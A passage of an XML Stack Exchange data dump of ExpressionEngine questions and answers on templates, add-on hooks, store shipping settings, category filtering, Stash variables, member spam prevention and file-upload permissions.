&amp;amp;&amp;amp; {sibling_count} == {sibling_total}}&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/li&amp;gt;{/if}&#xA;        {/close_markup}{/if}&#xA;    {if {count}=={total_results}}&amp;lt;/ul&amp;gt;{/if}&#xA;{/exp:structure_entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="897" LastActivityDate="2015-01-29T22:09:50.963" Title="Structure Navigation Showing Hidden Entries" Tags="|templates|structure|navigation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28733" PostTypeId="2" ParentId="28714" CreationDate="2015-01-29T21:37:03.010" Score="0" Body="&lt;p&gt;Try something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_ignore_folder_patterns'] = array('/^cache'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2015-01-29T21:37:03.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28734" PostTypeId="2" ParentId="28732" CreationDate="2015-01-29T22:09:50.963" Score="1" Body="&lt;p&gt;I'll hazard a guess here and say that the reason your &quot;Hidden from Nav&quot; entries are being output is because you're not actually using a Structure module tag, but the &lt;em&gt;Structure Entries plugin.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what kind of support Structure Entries has for Structure's Hidden from Nav feature. What version are you using? It sounds like there is a beta version that has a &lt;code&gt;hide_from_nav=&quot;yes&quot;&lt;/code&gt; parameter. There is a link to the beta v1.3.4 on its &lt;a href=&quot;https://devot-ee.com/add-ons/structure-entries&quot; rel=&quot;nofollow&quot;&gt;devotee page.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This Structure Entries &lt;a href=&quot;https://getsatisfaction.com/twobelowzero/topics/hide_from_nav_variable?topic-reply-list%5Bsettings%5D%5Bfilter_by%5D=all&amp;amp;topic-reply-list%5Bsettings%5D%5Breply_id%5D=12663679#reply_12663679&quot; rel=&quot;nofollow&quot;&gt;support thread&lt;/a&gt; might also help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible alternative would be to switch your template to use the Structure module's &lt;a href=&quot;http://buildwithstructure.com/tags#tag_navigation&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{exp:structure:nav}&lt;/code&gt;&lt;/a&gt; tag or another of the Structure module's tags.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-01-29T22:09:50.963" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28735" PostTypeId="1" AcceptedAnswerId="28736" CreationDate="2015-01-29T22:27:03.213" Score="0" ViewCount="108" Body="&lt;p&gt;Is there a hook at the completion of a DataGrab import? I need to run a script after an import.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-01-29T22:53:25.170" Title="DataGrab - is there a hook?" Tags="|hook|datagrab|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28736" PostTypeId="2" ParentId="28735" CreationDate="2015-01-29T22:44:17.313" Score="1" Body="&lt;p&gt;It looks like DataGrab has three hooks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ajw_datagrab_pre_import&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ajw_datagrab_modify_data&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ajw_datagrab_post_import&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you open up &lt;code&gt;datagrab_model.php&lt;/code&gt; and search for &lt;code&gt;active_hook&lt;/code&gt; you will find them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't ever used them myself and I don't see any documentation on them. But they're worth a shot!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as the developer himself pointed out in his comment below, the one you are after is &lt;code&gt;ajw_datagrab_post_import&lt;/code&gt; so it sounds like you're in business.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2015-01-29T22:53:25.170" LastActivityDate="2015-01-29T22:53:25.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28737" PostTypeId="1" CreationDate="2015-01-30T01:46:57.057" Score="0" ViewCount="132" Body="&lt;p&gt;I'm wondering if there's an add-on out there-- or perhaps an altogether different approach-- for allowing a user to easily insert a Google map embed (&lt;code&gt;iframe&lt;/code&gt;) based on an address? I have a channel dedicated to &quot;favorite destinations&quot; with fields for name, address, etc. and currently prompt the user to copy and paste the corresponding Google map embed code into the appropriate field when publishing an entry. This approach is of course not ideal, as there is considerable margin for error with a user inputting actual markup, and I'm trying to figure out the easiest approach here to simplify the user's process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that Objective HTML has the &lt;a href=&quot;https://objectivehtml.com/google-maps/features&quot; rel=&quot;nofollow&quot;&gt;Google Maps for ExpressionEngine&lt;/a&gt; add-on, but I'm not sure if it allows for this sort of functionality--i.e. auto-generating the iframe embed code corresponding to a specific address and inserting it into the proper &lt;code&gt;div&lt;/code&gt; in a template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any guidance here.&lt;/p&gt;&#xA;" OwnerUserId="3777" LastActivityDate="2015-01-30T04:17:44.830" Title="Add-on for inserting Google Map embed?" Tags="|channel-entries|add-on|google-maps-for-ee|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28738" PostTypeId="2" ParentId="28737" CreationDate="2015-01-30T04:17:44.830" Score="2" Body="&lt;p&gt;The short answer to your question is yes Google Maps for EE would be able to do exactly what you want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would add the included fieldtype to your channel which would allow a user to enter the address and find the correct location. Then in your template you would need to add the appropriate template tags to achieve what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see a bunch of examples &lt;a href=&quot;https://objectivehtml.com/google-maps/examples&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-01-30T04:17:44.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28739" PostTypeId="1" AcceptedAnswerId="30091" CreationDate="2015-01-30T04:24:17.730" Score="0" ViewCount="87" Body="&lt;p&gt;I'm using Solspace favorites module and am looking to automatically add new entries+comments to the DB in a separate Favorites Collection to mark entries as either read or unread (fav or not fav).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Basic thinking:&lt;/strong&gt; A “new entry” gets added by user (channel form) and after it’s all submitted, write to the Favorties table in the DB :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Get all members active in the last X weeks (don’t want all or guests)&lt;/li&gt;&#xA;&lt;li&gt;Grab the submitted entry_id&lt;/li&gt;&#xA;&lt;li&gt;Grab the Favorites collection_id (read_unread)&lt;/li&gt;&#xA;&lt;li&gt;Recursively write to the favourites table in the DB (member_id, collection_y, entry_id, time_z)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now on the front (using Favorites tag) when returning a list of entries – I can check for the existence of the entry_id and member_id - if there is a match I can visually mark that entry for that user as UNREAD (fav) or READ (not fav).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Continuing on, someone adds a comment to an entry. Need to mark it as UNREAD (new) so delete all instances and replace:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Delete all DB entries where the collection = Y and the entry_id = X&lt;/li&gt;&#xA;&lt;li&gt;Get all members active in the last X weeks (don’t want all or guests)&lt;/li&gt;&#xA;&lt;li&gt;Grab the submitted entry_id&lt;/li&gt;&#xA;&lt;li&gt;Grab the Favorites collection_id (read_unread)&lt;/li&gt;&#xA;&lt;li&gt;Recursively write to the favourites table in the DB (member_id, collection_y, entry_id, time_z)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;A member is deleted:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Delete all favourites where member_id = member being deleted and collection = Y.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Members visit an entry:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Grab the entry_id&lt;/li&gt;&#xA;&lt;li&gt;If entry_id, member_id + collection_y exists then delete it effectively marking it as READ.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is all invisible to the user, I don’t need anything returned simply fired after add/deleting/viewing –  hence I’m informed I need to build a module/Extension combo.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Am I correct in my assumptions below that these are the primary Hooks needed to get this functioning?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ADD COMMENT:&#xA;&lt;code&gt;comment_form_end($res)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DELETE COMMENT:&#xA;&lt;code&gt;delete_comment_additional($comment_ids)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ADD ENTRY:&#xA;&lt;code&gt;channel_form_submit_entry_end()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DELETE MEMBER:&#xA;&lt;code&gt;member_delete($member_ids)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VIEW ENTRY:&#xA;&lt;code&gt;template_post_parse($final_template, $is_partial, $site_id)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-02-19T01:45:35.737" Title="Hooks for custom module" Tags="|solspace|module|hook|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28740" PostTypeId="1" CreationDate="2015-01-30T15:30:19.000" Score="1" ViewCount="51" Body="&lt;p&gt;I'm working on a site that is online in a dev environment. I'm getting tons of new member spam. I have snaptcha installed and it's set to High and it doesn't seem to be helping. Anyone have any ideas how to fix this?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="973" LastActivityDate="2015-02-03T09:31:12.813" Title="Lots of new member SPAM" Tags="|spam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28741" PostTypeId="2" ParentId="28740" CreationDate="2015-01-30T16:02:08.830" Score="5" Body="&lt;p&gt;Since it is your dev environment the easiest way to prevent registrations is to turn them off via Members &gt; Preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While that doesn't really address the root of the issue it is effective. If you want to help combat the spam while still allowing member registrations you can do a couple of things.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the member profile trigger word to something other then &quot;member&quot;. You can do this by either navigating to Members &gt; Preferences &gt; Profile Trigger Word. The option that I use and that the FocusLab Master Config file uses it just to set a random string each page load by adding something along the lines of below to the config.php file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// randomize the member profile trigger word because we'll never need it &#xA;$config['profile_trigger']          = rand(0,time()); &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a different Spam service/add-on. I have never used Snaptcha so I have no experience with it but I have used &lt;a href=&quot;https://devot-ee.com/add-ons/low-nospam&quot; rel=&quot;noreferrer&quot;&gt;Low NoSpam&lt;/a&gt; for as long as I can remember and have only had a very limited number of spam registrations come in during that time. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-01-30T16:02:08.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28742" PostTypeId="2" ParentId="28729" CreationDate="2015-01-30T16:10:39.460" Score="1" Body="&lt;p&gt;No, you definitely do not need to create a calendar for every type of category. You can put all the events into one calendar and filter by category. Just use the &lt;a href=&quot;http://www.solspace.com/docs/calendar/events/#category&quot; rel=&quot;nofollow&quot;&gt;category parameter&lt;/a&gt; on the &lt;code&gt;{exp:calendar:events}&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events category=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of hardcoding the category ID you'll probably want to pass it in via a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/url_segments.html&quot; rel=&quot;nofollow&quot;&gt;segment variable&lt;/a&gt;. Depending on how you are building your URI's you might find &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; pretty useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's what you are already trying then please post some template code and I or someone else might be able to give you a more specific answer.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2015-01-30T21:31:32.297" LastActivityDate="2015-01-30T21:31:32.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28743" PostTypeId="1" AcceptedAnswerId="28744" CreationDate="2015-01-30T16:39:51.957" Score="2" ViewCount="102" Body="&lt;p&gt;We have a client with an Expresso Store install where they have specified shipping rules for certain countries only and wish to add more as and when they have time.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;shipping_country&quot; name=&quot;shipping_country&quot; class=&quot;form-control&quot;&amp;gt;&#xA;{shipping_country_options}&#xA;&amp;lt;/select&amp;gt;&#xA;{error:shipping_country}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to have the shipping country list determined by those with shipping rules? For example I have the following UK shipping rules set up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QM7fw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However despite only have shipping rules pertaining to the UK other countries still show up in the country select list for shipping.&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2015-01-30T16:47:59.693" LastActivityDate="2015-01-30T17:15:11.870" Title="Limiting Store shipping country list to those with shipping rules" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28744" PostTypeId="2" ParentId="28743" CreationDate="2015-01-30T17:15:11.870" Score="1" Body="&lt;p&gt;Well technically you have shipping rules setup for every country since you have a rule with the country set as &quot;Any&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF you are only shipping to a few different countries you have a few options. You can either build the option list out yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;shipping_country&quot; name=&quot;shipping_country&quot; class=&quot;form-control&quot;&amp;gt;&#xA; &amp;lt;option value=&quot;&quot;&amp;gt;Select a country&amp;lt;/option&amp;gt;&#xA; &amp;lt;option value=&quot;USA&quot;&amp;gt;United States&amp;lt;/option&amp;gt;&#xA; &amp;lt;option value=&quot;GRB&quot;&amp;gt;Great Britain&amp;lt;/option&amp;gt; &#xA;&amp;lt;/select&amp;gt;&#xA;{error:shipping_country}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this approach Store is still technically allowed to take orders from any country but your options will be limited to what you manually code into your templates. If you add a new country you need to modify your template. I have seen people get around this with a Low Variables filed in the past where they would allow the admin to select multiple countries then output the select by looping though the checked countries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store also has the ability to disable certain countries. For example if you are selling liquor in the US you usually can't ship to other countries so you could goto Store &gt; Settings &gt; Counties / States menu and disable all of the countries that you don't want to ship to. This will automatically update your templates if you enable a new county if you are using the &lt;code&gt;{shipping_country_options}&lt;/code&gt; helper tag. You would still need to create the shipping rules for each new country though.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-01-30T17:15:11.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28745" PostTypeId="1" CreationDate="2015-01-30T17:16:53.927" Score="1" ViewCount="281" Body="&lt;p&gt;I am trying to do a category filter using segments. I will try to break it down as best as possible! Hopefully someone can assist me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Versions: v2.9.2, Low Seg2Cat: v2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using 2 category groups at the moment. &quot;Training Brand&quot; &amp;amp; &quot;Training Category&quot;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt; is choosing the &quot;Training Category&quot; Like so...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories style=&quot;linear&quot; category_group=&quot;3&quot; category=&quot;{segment_category_ids}&quot; show_empty=&quot;no&quot;}                    &#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{exp:transcribe:uri path=&quot;training/group/{category_url_title}&quot;}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which works fine, it only shows me the categories that have an entry in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt; is where I am running into trouble. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to display a list of categories from the group &quot;Training Category&quot; that have an associated category with the category now in the segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using this code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table class=&quot;table table-striped table-bordered table-hover&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;training_resources&quot; category=&quot;{segment_category_ids}&quot;}&#xA;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td width=&quot;70%&quot;&amp;gt;{categories category_group=&quot;2&quot; limit=&quot;1&quot;}{category_url_title} {category_id}{/categories} &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td align=&quot;center&quot; width=&quot;30%&quot;&amp;gt;&amp;lt;a class=&quot;btn btn-primary&quot; href=&quot;{exp:transcribe:uri path=&quot;training/resource/{segment_3}/{categories category_group=&quot;2&quot; limit=&quot;1&quot;}{category_url_title}{/categories}&quot;}&quot; role=&quot;button&quot;&amp;gt;View&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This snippet of code, displays only the entries that are in the related to the segment, which is good. But it also duplicates the entries showing the categories multiple times if there are multiple entries per category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a 3 page process where on the 1st and second you are selecting 2 different categories, and on the 3rd will display all the entries based on those 2 categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had any luck by filtering with categories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Funk&lt;/p&gt;&#xA;" OwnerUserId="633" LastActivityDate="2015-01-30T17:16:53.927" Title="Filtering by categories" Tags="|categories|filter|low-seg2cat|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28746" PostTypeId="2" ParentId="28631" CreationDate="2015-01-30T19:24:25.460" Score="5" Body="&lt;p&gt;There's no sense in running channel entries twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code generates a bunch of stash capture pairs, mapping field names in different channels to a common name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- make a list of your channel prefixes --}&#xA;{exp:stash:set_list name=&quot;channels&quot;}&#xA;    {stash:channel}article{/stash:channel}&#xA;    {stash:channel}book{/stash:channel}&#xA;    {stash:channel}project{/stash:channel}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- make a list of your common field suffixes --}&#xA;{exp:stash:set_list name=&quot;fields&quot;}&#xA;    {stash:field}subtitle{/stash:field}&#xA;    {stash:field}description{/stash:field}&#xA;    {stash:field}body{/stash:field}&#xA;    {stash:field}image{/stash:field}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- map channels and fields to generate tag pairs --}&#xA;{exp:stash:set name=&quot;mapped_fields&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot; type=&quot;snippet&quot;}&#xA;   {exp:stash:get_list name=&quot;fields&quot;}&#xA;      {stash:{field}}&#xA;         {exp:stash:get_list:nested name=&quot;channels&quot;}&#xA;            {{channel}-{field}}&#xA;         {/exp:stash:get_list:nested}&#xA;      {/stash:{field}}&#xA;   {/exp:stash:get_list}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;{mapped fields}&lt;/strong&gt; variable would then be set to this value (formatted for legibility). Verify this is the case by looking in your template debug output for a line beginning &lt;code&gt;Stash: SET mapped_fields to value ...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:subtitle} &#xA;   {article-subtitle} {book-subtitle} {project-subtitle}&#xA;{/stash:subtitle} &#xA;&#xA;{stash:description} &#xA;    {article-description} {book-description} {project-description} &#xA;{/stash:description} &#xA;&#xA;{stash:body} &#xA;    {article-body} {book-body} {project-body} &#xA;{/stash:body} &#xA;&#xA;{stash:image} &#xA;    {article-image} {book-image} {project-image} &#xA;{/stash:image}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you just need to use this variable when capturing your channel entry data. Note the &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set type=&quot;snippet&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries &#xA;        status=&quot;Front page featured&quot; &#xA;        orderby=&quot;date|edit_date&quot; &#xA;        sort=&quot;desc&quot; &#xA;        limit=&quot;1&quot; &#xA;        dynamic=&quot;no&quot;&#xA;        disable=&quot;member_data|categories|pagination&quot;&#xA;    }&#xA;        {mapped_fields}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You then include the stash embed like so (this would be better at the top the of your template, but no matter). A native layout would also work just the same.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:test}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your embed you can now access your 'Front page featured' content like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Subtitle: {subtitle}&#xA;Description: {description}&#xA;Body: {body}&#xA;Image: {image}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2015-01-30T19:24:25.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28747" PostTypeId="1" AcceptedAnswerId="28752" CreationDate="2015-01-30T19:37:13.960" Score="1" ViewCount="47" Body="&lt;p&gt;Under most circumstances this would be an easy answer, but I have a slightly trickier segment I am working with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code displays the category names if they are selected in the entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;project-brief open-close&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Results Type&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;div class=&quot;project-brief&quot;&amp;gt;&#xA;            &amp;lt;ul class=&quot;brief-list&quot;&amp;gt;&#xA;                &amp;lt;?php  $parents= array(); ?&amp;gt;&#xA;                {categories show_group=&quot;5&quot;}&#xA;                &amp;lt;?php $parent_id = '{parent_id}'; if(!$parent_id) {$parents ['{category_id}'] = '{category_name}';} ?&amp;gt;&#xA;                {/categories}&#xA;&#xA;                &amp;lt;?php foreach ($parents as $key =&amp;gt; $parent) { ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/projects?category=&amp;lt;?php echo $key; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $parent; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;ul class=&quot;brief-list-childs&quot;&amp;gt;&#xA;                        {categories show_group=&quot;5&quot;}&#xA;                        {if parent_id == &amp;lt;?php echo $key; ?&amp;gt;}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;/projects?category={category_id}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/if}&#xA;                        {/categories}&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the client wants to hide the entire section if none are selected in the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to wrap the entire div in a conditional that checks to see if any of the categories are checked and display it only if it is not empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would say it like this, but I can't seem to get the conditional right. Any guidance will be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{If category count &amp;gt; 1}&#xA;   ... display the content&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="258" LastEditorUserId="22" LastEditDate="2015-01-30T21:38:54.480" LastActivityDate="2015-01-30T21:38:54.480" Title="How do I limit content display based on Categories selected?" Tags="|conditionals|advanced-conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28748" PostTypeId="1" AcceptedAnswerId="28751" CreationDate="2015-01-30T20:31:54.523" Score="2" ViewCount="85" Body="&lt;p&gt;I want to have members register, then be able to publish content to a channel. That works fine, however when a user accesses the file manager to upload an image they have access to all images uploaded to that channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I restrict each user access to only the images they upload?&#xA;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="4992" LastActivityDate="2015-01-31T18:37:46.503" Title="Restrict Members to their own files" Tags="|file-uploads|file-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28749" PostTypeId="2" ParentId="28739" CreationDate="2015-01-30T20:47:54.230" Score="0" Body="&lt;p&gt;It looks like your on the right lines here. A single extension should be sufficient. The other option is to trigger standard Solspace Fav tags using AJAX requests but your proposed approach would be much more robust. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-01-30T20:47:54.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28750" PostTypeId="2" ParentId="28748" CreationDate="2015-01-30T20:53:40.160" Score="1" Body="&lt;p&gt;I don't think ExpressionEngine will allow such behaviour out of the box although the exp_files table 'does' include a 'uploaded_by_member_id' column so it's possible that you could leverage that through a custom file select field type to limit what the user can pick from.&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-01-30T20:53:40.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28751" PostTypeId="2" ParentId="28748" CreationDate="2015-01-30T20:54:51.640" Score="5" Body="&lt;p&gt;Here is one approach:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Put the users in a member group that has the member preference &quot;&lt;em&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html#can-edit-entries-authored-by-others&quot;&gt;Can edit entries authored by others&lt;/a&gt;&lt;/em&gt;&quot; set to &quot;&lt;em&gt;No&lt;/em&gt;&quot; &lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/channel-images&quot;&gt;Channel Images&lt;/a&gt; or &lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/channel-files&quot;&gt;Channel Files&lt;/a&gt; to manage the file uploads. These add-ons have per-entry file management, so they will create separate directories per Channel entry. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This combination effectively makes it so that members (at least in the group of interest) are only able to access files they have uploaded themselves.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-01-30T20:54:51.640" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
